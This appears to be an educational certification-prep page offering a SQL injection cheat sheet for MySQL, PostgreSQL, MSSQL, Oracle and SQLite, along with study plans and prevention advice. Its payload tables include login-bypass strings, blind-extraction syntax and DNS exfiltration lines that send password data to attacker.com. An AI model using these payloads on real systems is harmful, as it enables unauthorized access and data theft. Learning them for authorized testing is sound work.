FlashGenius Logo FlashGenius
Updated June 2026 · Interactive Guide

SQL Injection Cheat Sheet
Payloads, Syntax & Certification Prep

Copy-paste SQL injection payloads for MySQL, PostgreSQL, MSSQL, Oracle & SQLite — plus exploitation techniques, tools, prevention, and a readiness quiz built for security certification prep.

1998
First Documented
#3
OWASP Top 10 Rank (A03:2021)
CWE-89
Official Weakness ID
#1
Web Vuln, 2025 Verizon DBIR

SQL Injection Cheat Sheet

🕒 Last updated June 20, 2026

Copy-paste syntax for the SQL injection tasks that come up most often — string concatenation, comments, version/user discovery, schema enumeration, conditional errors, time delays, stacked queries, out-of-band exfiltration, and login bypass — across MySQL, PostgreSQL, MSSQL, Oracle, and SQLite. For authorized testing and lab use only.

String concatenation

Combine multiple strings into one — useful for rebuilding filtered keywords or assembling extracted data.

MySQLPostgreSQLMSSQLOracleSQLite
CONCAT('foo','bar')'foo'||'bar''foo'+'bar''foo'||'bar''foo'||'bar'
💡
MySQL's 'foo' 'bar' (space-separated) also concatenates, but only outside ANSI mode — CONCAT() is the reliable cross-mode option.

Substring extraction

Pull part of a string from an offset — the core primitive behind character-by-character blind extraction. All examples below return ba.

MySQLPostgreSQLMSSQLOracleSQLite
SUBSTRING('foobar',4,2)SUBSTRING('foobar',4,2)SUBSTRING('foobar',4,2)SUBSTR('foobar',4,2)SUBSTR('foobar',4,2)

Comments

Truncate a query so anything after your input is ignored — the backbone of most login-bypass payloads.

MySQLPostgreSQLMSSQLOracleSQLite
-- (space) or #--------
💡
MySQL's -- requires a trailing space to be treated as a comment; # doesn't. Forgetting the space is a classic reason a "correct" payload silently fails. Inline comments /*like this*/ work across all five engines and double as a way to obfuscate keywords past simple filters.

Database version

Fingerprint the engine before you commit to a payload style.

MySQLPostgreSQLMSSQLOracleSQLite
SELECT @@versionSELECT version()SELECT @@versionSELECT banner FROM v$versionSELECT sqlite_version()

Current user

Useful for privilege-escalation planning and for confirming whether you're running as an admin-equivalent account.

MySQLPostgreSQLMSSQLOracleSQLite
SELECT current_user()SELECT current_userSELECT SYSTEM_USERSELECT user FROM dualN/A — file-based, no user concept

Listing tables & columns

Enumerate the schema once you've confirmed injection — find table names first, then the columns inside each one.

MySQLPostgreSQLMSSQLOracleSQLite
SELECT table_name FROM information_schema.tablesSELECT table_name FROM information_schema.tablesSELECT table_name FROM information_schema.tablesSELECT table_name FROM all_tablesSELECT name FROM sqlite_master WHERE type='table'
SELECT column_name FROM information_schema.columns WHERE table_name='X'SELECT column_name FROM information_schema.columns WHERE table_name='X'SELECT column_name FROM information_schema.columns WHERE table_name='X'SELECT column_name FROM all_tab_columns WHERE table_name='X'PRAGMA table_info(X)

Conditional errors

Test a boolean condition and force a database error only when it's true — a fast error-based blind technique.

MySQLPostgreSQLMSSQLOracleSQLite
SELECT IF(cond,(SELECT table_name FROM information_schema.tables),'a')1=(SELECT CASE WHEN (cond) THEN 1/(SELECT 0) ELSE NULL END)SELECT CASE WHEN (cond) THEN 1/0 ELSE NULL ENDSELECT CASE WHEN (cond) THEN TO_CHAR(1/0) ELSE NULL END FROM dualNo native error-throw — use boolean-based blind instead

Stacked (batched) queries

Run a second query after the first in one request. Results from the second query aren't returned to the page, so this is mainly useful for blind techniques (delays, DNS, conditional errors).

MySQLPostgreSQLMSSQLOracleSQLite
Rarely usable — blocked by most drivers/APIsQUERY-1; QUERY-2QUERY-1; QUERY-2Not supportedDepends on driver — many disallow multiple statements per call

Time delays

Cause an unconditional delay — confirms injection when there's no visible output at all (totally blind).

MySQLPostgreSQLMSSQLOracleSQLite
SELECT SLEEP(5)SELECT pg_sleep(5)WAITFOR DELAY '0:0:5'SELECT DBMS_LOCK.SLEEP(5) FROM dualNo native sleep — simulated via an expensive recursive query

Conditional time delays

The blind-injection workhorse — delay only when a condition is true, then infer data one bit/character at a time.

MySQLPostgreSQLMSSQLOracleSQLite
SELECT IF(cond,SLEEP(5),0)SELECT CASE WHEN (cond) THEN pg_sleep(5) ELSE pg_sleep(0) ENDIF (cond) WAITFOR DELAY '0:0:5'SELECT CASE WHEN (cond) THEN dbms_pipe.receive_message('a',5) ELSE NULL END FROM dualNot natively supported

Out-of-band / DNS exfiltration

Exfiltrate data through a side channel (usually DNS) when neither in-band output nor timing is available. Requires a listener you control (e.g., Burp Collaborator or your own DNS server).

MySQL (Windows)PostgreSQLMSSQLOracle
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT pwd FROM users LIMIT 1),'.attacker.com\\a'))COPY (SELECT '') TO PROGRAM 'nslookup attacker.com'EXEC master..xp_dirtree '//attacker.com/a'SELECT UTL_INADDR.get_host_address('attacker.com') FROM dual
💡
SQLite has no networking functions, so out-of-band exfiltration generally doesn't apply to it. The PostgreSQL technique requires superuser privileges.

Authentication bypass payloads

Classic login-form payloads that manipulate query logic rather than extract data. Try the username field first; # variants are MySQL-only.

  • admin'--
  • admin' #
  • admin'/*
  • ' OR '1'='1
  • ' OR 1=1--
  • ') OR ('1'='1
  • ' OR 'x'='x

Classification & severity reference

For exam answers and reporting — the standard identifiers tied to SQL injection.

ClassificationValue
CWECWE-89
OWASP Top 10 2021A03 — Injection
OWASP Top 10 2025 (Release Candidate)A05 — Injection
CVSS 3.1 (typical, unauthenticated)9.8 Critical (varies by instance)
PCI DSS 4.0Requirement 6.2.4

🎯 Practice This on Real Exam Questions

SQL injection shows up constantly on CompTIA Security+ and CEH exams. FlashGenius has free practice questions on the SQL Injection domain plus full-length AI-powered exam simulations for 45+ certifications — Security+, CEH, GPEN, and more.

⚖️
Authorized use only. Every payload above is for testing systems you own or have explicit written permission to test — a personal lab, a CTF, or a signed engagement. Unauthorized use against systems you don't control is illegal in most jurisdictions.

What SQL Injection Actually Is

SQL injection (SQLi) happens when untrusted input is concatenated directly into a SQL query instead of being treated strictly as data. The database can't tell the difference between "data" and "command" — so an attacker who controls part of the input can rewrite the logic of the query itself.

The classic example

A login form builds a query like this:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

If $user is taken straight from a form field with no parameterization, an attacker can submit ' OR '1'='1 as the username. The query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

Since '1'='1' is always true, the query returns every row — often logging the attacker in as the first user in the table.

🧠

Understand

How queries are built and why concatenation is dangerous

🔍

Identify

Spot injectable parameters and fingerprint the database

💉

Exploit

Practice safely in authorized labs — never on systems you don't own

🛡️

Prevent

Know the defender's controls — most exams test both sides

📊 Why a 1998 Bug Still Tops Vulnerability Lists in 2026

SQL injection (tracked as CWE-89) was first publicly documented by Rain Forest Puppy in Phrack issue 54, on Christmas Day 1998. Despite being one of the oldest known web vulnerability classes, it remains a current threat because legacy code, dynamic SQL, and careless ORM usage keep reintroducing it.

94%
Apps tested showed some injection flaw (OWASP)
A03→A05
OWASP Injection: 2021 vs. 2025 RC
#1
Web vuln since 2022 (Verizon DBIR)

What this means for your studies: certification bodies keep SQLi in scope precisely because real-world breach data shows it's still exploited. Note that the OWASP Top 10:2025 Release Candidate (announced November 2025) moves Injection from A03 down to A05 — the official list is still 2021's A03 for now, but expect exam material to start referencing the new numbering. Don't treat SQLi as "legacy trivia" — treat it as a live skill.

📚
Where this shows up on exams: CompTIA Security+ & PenTest+, EC-Council CEH, eLearnSecurity eJPT, Offensive Security OSCP, and GIAC GPEN/GWAPT all include SQL injection in both multiple-choice and hands-on/practical formats. You can drill it directly with free practice questions on FlashGenius, which covers 45+ certifications.

Your First Steps

A concrete, click-as-you-go path from zero to confident — in a legal, authorized lab environment only.

0 of 8 steps completed

1
Pre-Lab

Set up a legal practice target

Install OWASP Juice Shop or DVWA locally, or create a free account on PortSwigger's Web Security Academy. Only ever test systems you own or are explicitly authorized to test.

2
Pre-Lab

Install Burp Suite + sqlmap

Burp Suite Community (or OWASP ZAP) for intercepting and manipulating requests; sqlmap for later automation. Learn proxy basics first — point your browser through Burp before doing anything else.

3
Early

Learn to read raw HTTP requests

Use Burp's Repeater to send the same request over and over while you change one parameter at a time. This habit is the foundation of every manual SQLi technique you'll learn next.

4
Early

Try the single-quote test

In a lab login or search field, submit a lone ' and watch for a database error. An unhandled error is often your first signal that input is reaching the query unsanitized.

5
Early

Find the column count, then UNION

Use ORDER BY n until it errors to find the column count, then build a UNION SELECT with that many columns to start pulling data into the page output.

6
Ongoing

Practice blind techniques

When there's no visible output, compare responses for AND 1=1 vs AND 1=2 (boolean-based), or use a delay function like SLEEP(5) (time-based) and watch the clock.

7
Ongoing

Learn sqlmap deliberately

Don't just run it — read what flags like --dbs, --tables, --dump, --risk, and --level actually do, and compare its requests to what you did manually.

8
Ongoing

Study the fix, not just the exploit

For every technique you learn, write down the matching prevention control (usually parameterized queries). Most certifications test remediation knowledge as heavily as exploitation.

Types & Techniques

Five technique families cover nearly everything tested on certification exams. Percentages are an approximate guide to how often each appears, not an official weighting.

In-Band / Classic SQLi
~35%
The attacker sees results in the same channel as the request — through error messages (error-based) or by appending extra columns of data to the page output (UNION-based). Study tip: always establish column count with ORDER BY before attempting a UNION SELECT; this is the step most students skip and then get stuck.
Blind SQLi (Boolean & Time-Based)
~30%
No data is returned directly. Boolean-based blind infers true/false by comparing page responses for different conditions; time-based blind infers it from response delay using functions like SLEEP() or WAITFOR DELAY. Study tip: write a small script that automates the inference loop yourself at least once — it cements the logic far better than only reading sqlmap output.
Out-of-Band SQLi
~10%
Data is exfiltrated through a separate channel, like DNS lookups or HTTP requests triggered by the database itself (e.g., MSSQL's xp_dirtree, Oracle's UTL_HTTP). Rare in real traffic but commonly tested conceptually because it shows up when both in-band and blind methods are blocked. Study tip: know it exists and why it's used — deep payload memorization isn't usually required.
Second-Order & Stored Procedure SQLi
~15%
A payload is stored safely (e.g., in a "display name" field) but later read back into a separate, unsafe query elsewhere in the application. Study tip: the giveaway is that the original input point looks "clean" under direct testing — you have to trace data flow, not just test the input field in isolation.
Authentication Bypass & Logic Abuse
~10%
Classic tricks like ' OR '1'='1 or comment-based truncation (admin'--) manipulate query logic to bypass authentication rather than extract data. Study tip: exams often ask you to distinguish "this bypasses a login" from "this exfiltrates data" — the payload can look similar but the goal differs.
⚖️
Stay in scope. Every technique above should only ever be practiced against systems you own or have explicit written authorization to test (a lab, a CTF, or a signed pentest engagement). Unauthorized testing is illegal in most jurisdictions.

Readiness Quiz

Five quick questions to find out where you are and what to study next.

Question 1 of 5

6-Week Study Plan

A realistic pace for building real competence, not just passing a multiple-choice question.

W1
Foundations
Refresh core SQL, understand exactly how queries get built from user input, and set up your lab (Juice Shop, DVWA, PortSwigger Academy account).
💡 Don't skip the plain-SQL refresher — most confusion later comes from a shaky base, not from injection theory.
W2
Manual classic SQLi
Practice the single-quote test, column-count discovery, error-based extraction, and UNION-based extraction.
💡 Repeat the same techniques on two different DBMS targets so the syntax differences become muscle memory.
W3
Blind SQLi
Master boolean-based and time-based blind techniques. Write your own simple script to automate the inference loop.
💡 A script you build yourself teaches the logic far better than reading sqlmap's output.
W4
Tooling
Learn Burp Suite Intruder/Repeater workflows and sqlmap's key flags. Compare manual results against automated results on the same target.
💡 Know the tradeoffs of sqlmap's --risk and --level — exams ask about detection and noise, not just success.
W5
Prevention & secure coding
Implement parameterized queries in at least one language, learn common ORM pitfalls, and understand WAF behavior (and its limits).
💡 Many certs test the defender's side as heavily as the attacker's — don't skip this week.
W6
Exam-style review
Work through the Common Mistakes and FAQ sections, do timed practice questions, and re-test yourself cold on the database syntax differences.
💡 Close the syntax tab and try to recall each DBMS's comment style and delay function from memory.

Tools & Prevention

The tools you'll actually use in labs and on practicals, plus the controls every defender (and every exam) expects you to know.

ToolTypeBest For
Burp Suite (Community/Pro)Proxy / manual testingIntercepting and manipulating requests by hand
sqlmapAutomated exploitationFast enumeration and data extraction once a vuln is confirmed
OWASP ZAPProxy / scannerFree alternative to Burp; good for automated scans
DVWA / bWAPP / OWASP Juice ShopPractice targetsSafe, legal environments to build skill
PortSwigger Web Security AcademyFree labs + theoryStructured, guided practice with explanations
HackTheBox / TryHackMeCTF-style practiceRealistic, time-pressured scenarios closer to exam conditions

Prevention Checklist

Know these cold — remediation questions are easy points if you've actually studied this side.

📖
Further reading: PortSwigger's SQL injection labs for hands-on practice, and the OWASP SQL injection reference for the official standard.

Common Mistakes

Five mistakes that cost students points on exams and time in real assessments.

1
Relying only on automated tools
Running sqlmap without understanding what it's doing

It's tempting to skip manual testing once sqlmap works, but automated tools can miss WAF-evaded or unusual injection points, and most practical exams require you to demonstrate manual proof.

⚠️ What Goes Wrong

You can't explain or replicate the finding manually, and you fail practical exam sections that ban automated tools.

✅ The Fix

Always confirm at least one finding manually and understand exactly what request the tool sent and why it worked.

💡 Prevention habit: Open Burp alongside sqlmap and watch the actual requests it generates.
2
Confusing blind SQLi with "not vulnerable"
Giving up when no data appears on screen

A parameter that shows no visible output can still be fully exploitable through blind techniques — students often mislabel it "safe" too early.

⚠️ What Goes Wrong

You miss a real vulnerability and answer an exam question incorrectly, or miss a finding in an assessment.

✅ The Fix

Always test boolean-based and time-based payloads before concluding a parameter isn't injectable.

💡 Prevention habit: Build a personal checklist: error-based → UNION-based → boolean blind → time-based, every time.
3
Ignoring database-specific syntax
Using MySQL payloads against MSSQL or Oracle

A payload that's perfectly correct for one DBMS can fail silently on another, making a genuinely vulnerable app look safe.

⚠️ What Goes Wrong

You conclude "not vulnerable" when the real issue is just wrong syntax for that database.

✅ The Fix

Fingerprint the DBMS first — via error messages or version functions — before choosing your payload syntax.

💡 Prevention habit: Keep the Cheat Sheet tab open until the per-database differences are memorized.
4
Over-focusing on WAF bypass tricks
Studying obfuscation before fundamentals

Evasion techniques are flashy, but exams test the underlying query logic far more than obfuscation tricks.

⚠️ What Goes Wrong

You can recite bypass tricks but fail basic conceptual questions about how the underlying query actually executes.

✅ The Fix

Master plain, unfiltered payloads and query logic first; layer evasion techniques on afterward.

💡 Prevention habit: For every bypass trick, be able to explain the unobfuscated payload it's hiding.
5
Skipping the defender's perspective
Studying attacks only, never remediation

Security+, CEH, and similar certifications ask prevention and remediation questions just as often as exploitation ones.

⚠️ What Goes Wrong

You lose easy points on remediation questions despite being strong technically on the offensive side.

✅ The Fix

For every technique you learn, write down the matching prevention control in the same study session.

💡 Prevention habit: Keep a two-column notes page: "Attack technique" next to "Control that stops it."

Frequently Asked Questions

What is a SQL injection cheat sheet?
A SQL injection cheat sheet is a quick-reference collection of payloads and syntax — organized by task (string concatenation, comments, UNION attacks, time delays, and more) and by database engine — used to test for and understand SQL injection vulnerabilities. See the Cheat Sheet tab above for the full reference.
Is SQL injection still relevant in 2026 with ORMs everywhere?
Yes. ORMs reduce risk but don't eliminate it — raw queries, dynamic SQL, legacy code, and misused ORM "raw" escapes still introduce it. CWE-89 has been the top web application vulnerability in the Verizon DBIR since 2022.
What's the difference between SQL injection and NoSQL injection?
Different syntax and target (e.g., MongoDB operators instead of SQL clauses), but the same root cause: untrusted input mixed into a query structure instead of being treated strictly as data.
Do I need to memorize every payload for certification exams?
No — understand the underlying logic (why a payload works) rather than memorizing strings. Exams typically test concept recognition and the ability to construct a payload from first principles.
Is sqlmap allowed on practical exams like OSCP?
Policies vary and change over time, so always check the current exam guide for your specific certification. Either way, build manual skills first — some scenarios and questions specifically require demonstrating manual technique.
What's the safest way to practice SQL injection?
Only test systems you own or are explicitly authorized to test: OWASP Juice Shop, DVWA, bWAPP, PortSwigger Web Security Academy, or platforms like HackTheBox and TryHackMe. Never test production systems or sites you don't have written permission to assess.
Can parameterized queries ever be bypassed?
Properly implemented parameterized queries are not bypassable for the values they parameterize. The remaining risk comes from things that can't be parameterized — like dynamic table or column names — which need allow-listing instead.
What is second-order SQL injection and why is it tricky?
A payload is stored safely at the original input point (e.g., a profile field) but later read into a different, unsafe query elsewhere in the app. It's tricky because testing the input point directly looks "clean" — you have to trace where stored data gets used later.
Does SQL injection risk change on cloud-managed databases like RDS or Azure SQL?
The application-layer injection risk is identical — the vulnerability lives in how the app builds queries, not where the database is hosted. Cloud platforms add network-level controls (security groups, IAM auth) but don't fix unsafe query construction.
Which certifications actually test SQL injection?
Security+, PenTest+, CEH, eJPT, OSCP, and GWAPT all include it, across both multiple-choice and hands-on/practical formats. It's one of the most consistently tested topics across the security certification landscape.
What should I do after finding a SQLi vulnerability in a real, authorized assessment?
Document the exact payload, parameter, and evidence of impact; avoid exfiltrating more data than necessary to prove the finding; and follow your engagement's reporting and responsible disclosure process.
Free Practice Questions

Turn This Cheat Sheet Into Exam Points

FlashGenius offers AI-powered practice questions and full exam simulations for 45+ certifications — including CompTIA Security+, CEH, and GPEN — so you can test what you just studied.